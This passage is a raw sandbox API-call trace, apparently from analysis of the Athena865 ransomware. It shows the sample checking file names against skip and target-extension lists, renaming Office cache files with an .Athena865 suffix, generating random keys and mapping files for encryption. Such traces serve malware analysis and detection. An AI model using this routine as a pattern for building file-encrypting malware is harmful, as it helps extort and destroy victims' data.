returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0055.765] lstrlenW (lpString="mar") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0055.765] lstrlenW (lpString="marshal") returned 7 [0055.765] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0055.765] lstrlenW (lpString="mas") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0055.765] lstrlenW (lpString="mav") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0055.765] lstrlenW (lpString="maw") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0055.766] lstrlenW (lpString="mdbhtml") returned 7 [0055.766] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0055.766] lstrlenW (lpString="mdn") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0055.766] lstrlenW (lpString="mdt") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0055.766] lstrlenW (lpString="mfd") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0055.766] lstrlenW (lpString="mpd") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0055.766] lstrlenW (lpString="mrg") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0055.766] lstrlenW (lpString="mud") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0055.766] lstrlenW (lpString="mwb") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0055.766] lstrlenW (lpString="myd") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0055.766] lstrlenW (lpString="ndf") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0055.766] lstrlenW (lpString="nnt") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0055.766] lstrlenW (lpString="nrmlib") returned 6 [0055.766] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0055.766] lstrlenW (lpString="ns2") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0055.766] lstrlenW (lpString="ns3") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0055.766] lstrlenW (lpString="ns4") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0055.766] lstrlenW (lpString="nsf") returned 3 [0055.766] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0055.766] lstrlenW (lpString="nv") returned 2 [0055.767] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0055.767] lstrlenW (lpString="nv2") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0055.767] lstrlenW (lpString="nwdb") returned 4 [0055.767] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0055.767] lstrlenW (lpString="nyf") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0055.767] lstrlenW (lpString="odb") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0055.767] lstrlenW (lpString="odb") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0055.767] lstrlenW (lpString="oqy") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0055.767] lstrlenW (lpString="ora") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0055.767] lstrlenW (lpString="orx") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0055.767] lstrlenW (lpString="owc") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0055.767] lstrlenW (lpString="p96") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0055.767] lstrlenW (lpString="p97") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0055.767] lstrlenW (lpString="pan") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0055.767] lstrlenW (lpString="pdb") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0055.767] lstrlenW (lpString="pdm") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0055.767] lstrlenW (lpString="pnz") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0055.767] lstrlenW (lpString="qry") returned 3 [0055.767] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0055.767] lstrlenW (lpString="qvd") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0055.768] lstrlenW (lpString="rbf") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0055.768] lstrlenW (lpString="rctd") returned 4 [0055.768] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0055.768] lstrlenW (lpString="rod") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0055.768] lstrlenW (lpString="rodx") returned 4 [0055.768] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0055.768] lstrlenW (lpString="rpd") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0055.768] lstrlenW (lpString="rsd") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0055.768] lstrlenW (lpString="sas7bdat") returned 8 [0055.768] lstrcmpiW (lpString1="kMUI.msi", lpString2="sas7bdat") returned -1 [0055.768] lstrlenW (lpString="sbf") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0055.768] lstrlenW (lpString="scx") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0055.768] lstrlenW (lpString="sdb") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0055.768] lstrlenW (lpString="sdc") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0055.768] lstrlenW (lpString="sdf") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0055.768] lstrlenW (lpString="sis") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0055.768] lstrlenW (lpString="spq") returned 3 [0055.768] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0055.768] lstrlenW (lpString="te") returned 2 [0055.768] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0055.768] lstrlenW (lpString="teacher") returned 7 [0055.768] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0055.768] lstrlenW (lpString="tmd") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0055.769] lstrlenW (lpString="tps") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0055.769] lstrlenW (lpString="trc") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0055.769] lstrlenW (lpString="trc") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0055.769] lstrlenW (lpString="trm") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0055.769] lstrlenW (lpString="udb") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0055.769] lstrlenW (lpString="udl") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0055.769] lstrlenW (lpString="usr") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0055.769] lstrlenW (lpString="v12") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0055.769] lstrlenW (lpString="vis") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0055.769] lstrlenW (lpString="vpd") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0055.769] lstrlenW (lpString="vvv") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0055.769] lstrlenW (lpString="wdb") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0055.769] lstrlenW (lpString="wmdb") returned 4 [0055.769] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0055.769] lstrlenW (lpString="wrk") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0055.769] lstrlenW (lpString="xdb") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0055.769] lstrlenW (lpString="xld") returned 3 [0055.769] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0055.769] lstrlenW (lpString="xmlff") returned 5 [0055.770] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0055.770] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.Athena865") returned 87 [0055.770] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.athena865"), dwFlags=0x1) returned 1 [0055.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.771] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2865664) returned 1 [0055.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ab8 [0055.771] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518b40) returned 1 [0055.774] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.774] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.774] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2bbd00, lpName=0x0) returned 0x154 [0055.775] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xbbd00) returned 0x2d50000 [0055.811] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0055.902] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0055.920] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518b40) returned 1 [0055.920] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.921] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.921] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0055.928] CloseHandle (hObject=0x154) returned 1 [0055.928] CloseHandle (hObject=0x17c) returned 1 [0055.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ab8 | out: hHeap=0x4f0000) returned 1 [0055.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.937] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".") returned 1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="..") returned 1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="windows") returned -1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="bootmgr") returned 1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="temp") returned -1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="pagefile.sys") returned -1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="boot") returned 1 [0055.937] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="ids.txt") returned 1 [0055.938] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="ntuser.dat") returned 1 [0055.938] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="perflogs") returned -1 [0055.938] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="MSBuild") returned 1 [0055.938] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0055.938] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OutlookMUI.xml" | out: lpString1="OutlookMUI.xml") returned="OutlookMUI.xml" [0055.938] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0055.938] lstrlenW (lpString="Athena865") returned 9 [0055.938] lstrcmpiW (lpString1="okMUI.xml", lpString2="Athena865") returned 1 [0055.938] lstrlenW (lpString=".dll") returned 4 [0055.938] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".dll") returned 1 [0055.938] lstrlenW (lpString=".lnk") returned 4 [0055.938] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".lnk") returned 1 [0055.938] lstrlenW (lpString=".ini") returned 4 [0055.938] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".ini") returned 1 [0055.938] lstrlenW (lpString=".sys") returned 4 [0055.938] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".sys") returned 1 [0055.938] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0055.938] lstrlenW (lpString="bak") returned 3 [0055.938] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0055.938] lstrlenW (lpString="ba_") returned 3 [0055.938] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0055.938] lstrlenW (lpString="dbb") returned 3 [0055.938] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0055.938] lstrlenW (lpString="vmdk") returned 4 [0055.938] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0055.938] lstrlenW (lpString="rar") returned 3 [0055.938] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0055.938] lstrlenW (lpString="zip") returned 3 [0055.938] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0055.938] lstrlenW (lpString="tgz") returned 3 [0055.938] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0055.938] lstrlenW (lpString="vbox") returned 4 [0055.938] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0055.938] lstrlenW (lpString="vdi") returned 3 [0055.938] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0055.939] lstrlenW (lpString="vhd") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0055.939] lstrlenW (lpString="vhdx") returned 4 [0055.939] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0055.939] lstrlenW (lpString="avhd") returned 4 [0055.939] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0055.939] lstrlenW (lpString="db") returned 2 [0055.939] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0055.939] lstrlenW (lpString="db2") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0055.939] lstrlenW (lpString="db3") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0055.939] lstrlenW (lpString="dbf") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0055.939] lstrlenW (lpString="mdf") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0055.939] lstrlenW (lpString="mdb") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0055.939] lstrlenW (lpString="sql") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0055.939] lstrlenW (lpString="sqlite") returned 6 [0055.939] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0055.939] lstrlenW (lpString="sqlite3") returned 7 [0055.939] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0055.939] lstrlenW (lpString="sqlitedb") returned 8 [0055.939] lstrcmpiW (lpString1="kMUI.xml", lpString2="sqlitedb") returned -1 [0055.939] lstrlenW (lpString="xml") returned 3 [0055.939] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0055.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.Athena865") returned 87 [0055.939] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.athena865"), dwFlags=0x1) returned 1 [0055.940] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.940] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3186) returned 1 [0055.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ab8 [0055.941] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518b40) returned 1 [0055.941] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.941] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.942] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf80, lpName=0x0) returned 0x154 [0055.943] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf80) returned 0x100000 [0055.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518b40) returned 1 [0055.945] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.945] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.945] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0055.945] CloseHandle (hObject=0x154) returned 1 [0055.945] CloseHandle (hObject=0x17c) returned 1 [0055.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ab8 | out: hHeap=0x4f0000) returned 1 [0055.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.946] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0055.946] lstrlenW (lpString="Setup.xml") returned 9 [0055.946] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0055.946] lstrlenW (lpString="Setup.xml") returned 9 [0055.946] lstrlenW (lpString="Athena865") returned 9 [0055.946] lstrlenW (lpString=".dll") returned 4 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0055.946] lstrlenW (lpString=".lnk") returned 4 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0055.946] lstrlenW (lpString=".ini") returned 4 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0055.946] lstrlenW (lpString=".sys") returned 4 [0055.946] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0055.946] lstrlenW (lpString="Setup.xml") returned 9 [0055.947] lstrlenW (lpString="bak") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0055.947] lstrlenW (lpString="ba_") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0055.947] lstrlenW (lpString="dbb") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0055.947] lstrlenW (lpString="vmdk") returned 4 [0055.947] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0055.947] lstrlenW (lpString="rar") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0055.947] lstrlenW (lpString="zip") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0055.947] lstrlenW (lpString="tgz") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0055.947] lstrlenW (lpString="vbox") returned 4 [0055.947] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0055.947] lstrlenW (lpString="vdi") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0055.947] lstrlenW (lpString="vhd") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0055.947] lstrlenW (lpString="vhdx") returned 4 [0055.947] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0055.947] lstrlenW (lpString="avhd") returned 4 [0055.947] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0055.947] lstrlenW (lpString="db") returned 2 [0055.947] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0055.947] lstrlenW (lpString="db2") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0055.947] lstrlenW (lpString="db3") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0055.947] lstrlenW (lpString="dbf") returned 3 [0055.947] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0055.947] lstrlenW (lpString="mdf") returned 3 [0055.948] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0055.948] lstrlenW (lpString="mdb") returned 3 [0055.948] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0055.948] lstrlenW (lpString="sql") returned 3 [0055.948] lstrcmpiW (lpString1="xml", 